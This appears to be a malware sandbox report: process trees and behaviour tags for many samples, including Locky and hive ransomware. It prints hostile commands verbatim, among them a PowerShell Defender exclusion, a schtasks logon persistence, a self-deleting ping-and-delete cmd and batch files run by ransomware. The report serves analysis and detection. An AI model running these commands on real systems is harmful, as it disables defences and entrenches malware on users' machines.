C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://2no.co/2f8nx52⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"3⤵
- Checks whether UAC is enabled
- Checks system information in the registry
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x348,0x7ff97a96f208,0x7ff97a96f214,0x7ff97a96f2204⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1788,i,8642379955230050348,5598782782062396724,262144 --variations-seed-version --mojo-platform-channel-handle=2112 /prefetch:114⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2008,i,8642379955230050348,5598782782062396724,262144 --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2328,i,8642379955230050348,5598782782062396724,262144 --variations-seed-version --mojo-platform-channel-handle=2920 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3412,i,8642379955230050348,5598782782062396724,262144 --variations-seed-version --mojo-platform-channel-handle=3444 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3428,i,8642379955230050348,5598782782062396724,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:14⤵
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3" /tr '"C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"' & exit2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3" /tr '"C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"'3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "Remote Data"1⤵
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k "Remote Data"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\Remote Data.exe"C:\Windows\system32\Remote Data.exe" "c:\windows\system32\240735734.txt",MainThread2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Red-Flaged\_aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exeC:\Users\Admin\Desktop\Red-Flaged\_aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\Red-Flaged\ff14655342e9f2d6c62955f89111bded7e4d1f65237201e502fb9b7fbd75c46b.exe"C:\Users\Admin\Desktop\Red-Flaged\ff14655342e9f2d6c62955f89111bded7e4d1f65237201e502fb9b7fbd75c46b.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_ff14655342e9f2d6c62955f89111bded7e4d1f65237201e502fb9b7fbd75c46b.exeC:\Users\Admin\Desktop\Red-Flaged\HD_ff14655342e9f2d6c62955f89111bded7e4d1f65237201e502fb9b7fbd75c46b.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\urKCNVtbSdr.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\urKCNVtbSdr" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD3D1.tmp"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_ff14655342e9f2d6c62955f89111bded7e4d1f65237201e502fb9b7fbd75c46b.exe"C:\Users\Admin\Desktop\Red-Flaged\HD_ff14655342e9f2d6c62955f89111bded7e4d1f65237201e502fb9b7fbd75c46b.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
- Executes dropped EXE
-
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Users\Admin\Desktop\Red-Flaged\hive.exe"C:\Users\Admin\Desktop\Red-Flaged\hive.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_hive.exeC:\Users\Admin\Desktop\Red-Flaged\HD_hive.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c hive.bat >NUL 2>NUL3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 14⤵
- Delays execution with timeout.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c shadow.bat >NUL 2>NUL3⤵
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\Implosions.exe"C:\Users\Admin\Desktop\Red-Flaged\Implosions.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_Implosions.exeC:\Users\Admin\Desktop\Red-Flaged\HD_Implosions.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"C:\Users\Admin\Desktop\Red-Flaged\0eb4708bc1ecc868a3247cea58065db54315a8f30047b6e2c7cfc4ef4fa7f6ff.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Red-Flaged\_1bb10490d6f13e80d874896428908f6b5758b9722b959841c369c6ddc435230e.exe"C:\Users\Admin\Desktop\Red-Flaged\_1bb10490d6f13e80d874896428908f6b5758b9722b959841c369c6ddc435230e.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\Desktop\Red-Flaged\_13a5c1a535c161fd2724423dad1dfa6885c705713569d4ed4f2ebf900df25ed7.exe"C:\Users\Admin\Desktop\Red-Flaged\_13a5c1a535c161fd2724423dad1dfa6885c705713569d4ed4f2ebf900df25ed7.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Red-Flaged\_69997b7923fe84358aa11adc4db0862577ac9336c657e771a2244f07c843816a.exe"C:\Users\Admin\Desktop\Red-Flaged\_69997b7923fe84358aa11adc4db0862577ac9336c657e771a2244f07c843816a.exe"1⤵
- Executes dropped EXE
-
C:\Users\Admin\Desktop\Red-Flaged\_529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe"C:\Users\Admin\Desktop\Red-Flaged\_529586cbbd8586d7f33a3ea9bdd517b7ead617b4e12165106e81e4bfad859474.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Desktop\Red-Flaged\_aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exe"C:\Users\Admin\Desktop\Red-Flaged\_aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD__aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exeC:\Users\Admin\Desktop\Red-Flaged\HD__aa885d2d8550a5816070d4174a504ae7b4d90e3e50b3dbce7cea17443b6b9080.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Red-Flaged\_efffbda36edcb7d4130f65a57d3966e7694172fb5db37ce48f27849d239066c7.exe"C:\Users\Admin\Desktop\Red-Flaged\_efffbda36edcb7d4130f65a57d3966e7694172fb5db37ce48f27849d239066c7.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ╡ĵ╡Öτ¢┤µÆ¡σè⌐µëï(32τëêµ£¼Σ╗ÑΣ╕è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\µ¥Äµ╡ĵ╡Öτ¢┤µÆ¡σè⌐µëï(32τëêµ£¼Σ╗ÑΣ╕è)V1.2.0.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
C:\Users\Admin\Desktop\Red-Flaged\._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"C:\Users\Admin\Desktop\Red-Flaged\._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exeC:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-RDOVS.tmp\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.tmp"C:\Users\Admin\AppData\Local\Temp\is-RDOVS.tmp\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.tmp" /SL5="$50396,1370523,1281024,C:\Users\Admin\Desktop\Red-Flaged\HD_._cache_µ¥Äµ¦Äµ¦Öt¢¦µÆ¡s謵ëï(32tëêµ£¼S+ÑS+è)V1.2.0.exe"4⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"C:\Users\Admin\Desktop\Red-Flaged\0e932dd0eb5ac59e3a4a2412ad3424052fd57053923a9006b8a63061b2d9ba78.exe"1⤵
- Executes dropped EXE
- Drops autorun.inf file
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://2no.co/2f8nx52⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.15⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\HD_msedge.exe"3⤵
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"C:\Users\Admin\Desktop\Red-Flaged\1db18d89a636f9d9307e51798c0545664fae38711a2a72139d62c7dbd6f17fe3.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\urKCNVtbSdr.exeC:\Users\Admin\AppData\Roaming\urKCNVtbSdr.exe1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\urKCNVtbSdr.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\urKCNVtbSdr" /XML "C:\Users\Admin\AppData\Local\Temp\tmp3BC2.tmp"2⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\urKCNVtbSdr.exe"C:\Users\Admin\AppData\Roaming\urKCNVtbSdr.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\urKCNVtbSdr.exe"C:\Users\Admin\AppData\Roaming\urKCNVtbSdr.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
-
C:\Users\Admin\Desktop\Red-Flaged\Fake ID Cards Creator (NEW 2025).exe"C:\Users\Admin\Desktop\Red-Flaged\Fake ID Cards Creator (NEW 2025).exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\Fake ID Cards Creator (NEW 2025).exe"C:\Users\Admin\Desktop\Red-Flaged\Fake ID Cards Creator (NEW 2025).exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\PING.EXEping -n 2 127.0.0.14⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_2363f93331fc792ae9cb5750043bdc89.exe"C:\Users\Admin\Desktop\Red-Flaged\JaffaCakes118_2363f93331fc792ae9cb5750043bdc89.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\N.exe > nul3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -auto1⤵
-
C:\Windows\SysWOW64\TXPlatfor.exeC:\Windows\SysWOW64\TXPlatfor.exe -acsi2⤵
-
-
C:\Users\Admin\Desktop\Red-Flaged\Locky.exe"C:\Users\Admin\Desktop\Red-Flaged\Locky.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\R.exeC:\Users\Admin\AppData\Local\Temp\\R.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\N.exeC:\Users\Admin\AppData\Local\Temp\\N.exe2⤵
-
